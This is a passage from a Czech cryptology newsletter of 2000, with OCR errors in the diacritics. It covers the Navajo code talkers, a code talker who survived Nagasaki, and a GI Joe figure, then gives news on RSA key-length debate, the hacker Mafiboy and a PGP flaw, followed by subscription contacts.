dekodovani téch nejtajnéjSich zprav. Vzhledem k problematické moznosti zachytavani slov
(viz popis jazyka) a vzhledem k tomu, Ze predkladané texty byly vytvoreny pomoci kodové
knihy, nebyly Japoncim Joevy pteklady ptili§ platné. Japonci pochopili, Ze se jednd o kod
v navajstin¢ a chtéli tento koéd od Joea za kazdou cenu ziskat. Jednoho zimniho dne Joa
odvedli bosého ven. Joe musel stat bos ve sn¢hu pfi teploté 27 stupniti pod nulou. Bylo mu
feceno, ze zde bude stat tak dlouho, dokud neprozradi navajsky kod. Teprve po hodiné jej
odvedli zpét do cely. Joe nemohl prozradit, do ¢eho nebyl zasvécen. Joe vzpominal, jak si pral
zemiit, ale Japonci jej hlidali a rafinovan¢ mucili. Po né¢kolika dalSich mucenich nakonec
Japonci pokusy ziskat koéd od Joea vzdali. Joe zUstal v zajeti ve véznici v Nagasaki. Zde
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dokonce zazil 1 vybuch druhé atomové bomby, ktera explodovala nad Nagasaki. Tento

vybuch, chranén tlustymi zdmi své cely, piezil.

Byl osvobozen tfi dny po vybuchu atomové

bomby. Teprve rok po svém osvobozeni se dozvédél od americkych Gfadi o ,,mluvcich
v kodech™ a musel se zavazat, Ze o svych zazitcich nebude po dobu utajeni celého systému
mluvit. Jeho ptib¢h byl publikovan teprve v roce 1997.

Tento ptibéh dokazuje, Ze Japonci byli v lusténi koédu dale, neZ Americané v roce 1945
tusili a je pravdépodobné, ze kdyby méli Japonci k dispozici velky pocet dobie zachycenych
zprav a pftisluSnou analyzu situace, ke které
kryptoanalytici prolomili...

se zpravy vztahovaly, Ze by kod japonsti

Pokud v USA néco vzbudi zijem
médii a vefejnosti, je snaha to 1 komeréné
vyuzit, a tak jeSt€¢ vtomto roce ma
Hollywood natocit dokonce hned dva filmy,
které budou barvité lic¢it ptibc¢hy, které
»zazili“ Navajové bchem druhé svétoveé
valky. Zndma firma na hracky Hasbro Inc. ,
vlednu tohoto roku vydala roztomilou
figurku indiana GI Joe. Jednd se o
indidnského spojate z druhé svétové valky -
,mluvciho v kodech®. Je to dokonce prvni
figurka ze série figurek vojaki, které firma
Hasbro vyrobila, kterd mluvi. Ano, GI Joe
mluvi navajStinou a dokonce nahravku
pripravil veteran z druhé svétové valky -
Sam Billison. Sam Billison je prezidentem
Navajo Code Talker Association. Pfizndm
se, ze pravé tato figurka (USD 24.99) mé
inspirovala k sepsani téchto fadku, které se
aspoil trochu snaZzily poodhalit pravdu o
,mluvcich v kodech® diive, nez pftibehy
hollywoodského stylu vytvofi Uplné jiny,
pro divéky ,,zajimavéjsi® obrazek - legendu.
Vjednom =z filmi pry budou liceni tito
indiani jako paraSutisté, kteti byli shozeni do
vnitrozemi ostrova a zde pfipravuji
podminky k vylodéni americké namotni

pechoty , tak jako skutecni ,,code talkers* maji 1 oni vysilacku, ale také granaty, moc granatt a

vrhaci noze a umi se plizit jako pravi indiani ...

Takze nashledanou v kiné.

Obr.1 - ,,Code Talkers*

Obr.2 - medaile udélovana prezidentem Renaldem Reganem vale¢nym veteranim
Obr.3 - hymna namoinich jednotek, kterou v roce 1944 piepsal indiansky instruktor Jimmy

King do navajstiny
Obr.4 - figurka GI Joe od firmy Hasbro
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F. Letem Sifrovym svétem

1. (J.Pinkava) Ve dnech 30.-31.kvétna 2000 vySlo nové <¢Cislo RSA Bulletinu:
http://www.rsasecurity.com/rsalabs/bulletins/index.html obsahujici ¢lanek: Robert D.
Silverman (RSA Laboratories): A Cost-Based Security Analysis of Symmetric and
Asymmetric Key Length.

Z Clanku: "Zatimco clanek Lenstry a Verheula [1] dospiva k zavéru, ze 1024 bitovy kli¢
bude bezpecny pouze do roku 2002, shledavame tento zavér za neopodstatnény. Toto
tvrzeni bylo u¢inéno za predpokladu, ze 56-bitovd DES byla zranitelna jiz v roce 1982,
zatimco ve skuteCnosti byla DES fakticky rozbita teprve v roce 1997. Muze n¢kdo vétit
tomu, ze problém, ktery je 7-milionkrat tézS§i nez RSA-512 (a vyzaduje 6 Terabajta
paméti), bude fesitelny béhem nekolika malo rokt, kdyz RSA-512 bylo teprve nyni prave
rozbito? Cena paméti a obtiznost ptipravy ptislusného hardware pro feSeni souvisejici
matice davd moznost tvrdit, ze 1024 bitové klice budou bezpecné jesté¢ nejméne 20 let
(pokud nebudou vynalezeny nové neocekavané faktorizacni algoritmy ). Dnes neexistuje
hardware, ktery by umoznil tok na 1024 bitovy kli¢ metodou NFS. Diskuse o totadlnim
poctu cyklii na Internetu je irelevantni, pokud neexistuji pocitace dostatecné¢ velké, aby na
nich mohla bézet NFS.*

[1]Lenstra A.; and Verheul, E.: Selecting Cryptographic keys.

2. Pokud shénite informace o virech a antivirovych programech, doporucuji velice dobie
udrzovanou stranku 18-ti letého studenta Igora Héka (Igiho) na URL adrese
www.viry.cz. Lze se zde zapsat 1 do konference o virech . Konference mé v soucasné dobé
asi 250 ucastnikd.

3. V dubnu byl vkanadském Quebecu zaten patnactilety hacker, znamy pod prezdivkou
Mafiboy. Mlady hacker byl obvinén za vniknuti do serveru CNN.com. Na zaklad¢ dalsiho
Setfeni byl také obvinén za ucast na sérii utokti na Yahoo!, Amazon.com, Buy.com a
Excite. Pfi proniknuti na server zndmé americké televizni stanice CNN bylo vyfazeno
kratkodobé z ¢innosti na 1200 internetovych stranek a Skoda dosahla nékolika miliont
dolart. Vzhledem k tomu, Ze hacker jesté neni plnolety, hrozi mu odnéti svobody do dvou
let. (CTK).

4. Dalsi zajimavé a aktudlni informace na téma Microsoft a NSA-KEY lze nalézt na
http://cryptome.org/nsakey-ms-dc.htm

5. Na URL adrese: http://www.ostgate.com/classification.html je k dispozici ¢lanek o
bezpecnostni klasifikaci vojenskych systému v USA.

6. Bezpecnostni problém v PGP 5.0 je popsan na URL adrese :
http://cryptome.org/cipn052400.htm#pep
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G.Zavérecné informace

Adresa URL , na niz muzete najit tento seSit (nejdiive 15 dni po jeho rozeslani) a
predchozi seSity GCUCMP (zkonvertovany do PDF formatu), informace o prednéaskach z
kryptologie na MFF UK, mé nékteré ¢lanky a dalsi souvisejici témata :

http://www.mujweb.cz/veda/gcucmp

Stranku 1ze také najit pomoci vyhledavace "yahoo" nebo "seznam", pifipadné ji muzete
navstivit z http://www.trustcert.cz

Spojeni :
p.vondruska@nbu.cz - bézna komunikace, zasilani ptispévkl
pavel.vondruska@post.cz - osobni postovni stranka, registrace odbératela

pavel.vondruska@sms.paegas.cz jen 160 znak !

mobil : Mgr.Pavel Vondruska 0603 436 341

Vsechny uvedené informace jsou prevzaty z volné dostupnych provérenych zdroji
(internet, noviny) nebo se jednd o pivodni ¢lanky podepsané autory. Oficialni informacni
seSit je primarn¢ urCeny pro Cleny "Kryptologické sekce Jednoty matematicko-fyzikalni "
(GCUCMP). Pokud ma kdokoliv z4jem o zasilani tohoto seSitu, mizZe se zaregistrovat pomoci
e-mailu na adrese pavel.vondruska@post.cz (pfedmét: Crypto-World). Pii registraci
vyzadujeme pouze jméno a piijmeni, titul, pracovisté (neni podminkou) a e-mail adresu.

Piipadné chyby a nepiesnosti jsou dilem P.Vondrusky a autorii jednotlivych
podepsanych ¢clankii, GCUCMP za né¢ nemé odbornou ani jinou zodpovédnost.

INFORMACE — JAK VYJDEME O PRAZDNINACH

Dalsi &islo Crypto — Worldu vyjde jako PRAZDNINOVE DVOJCISLO . Piredpokladany
termin rozeslani kolem 25.Cervence.

Dékuji za pochopeni a pieji Vam krasné prazdniny.

Pavel Vondruska
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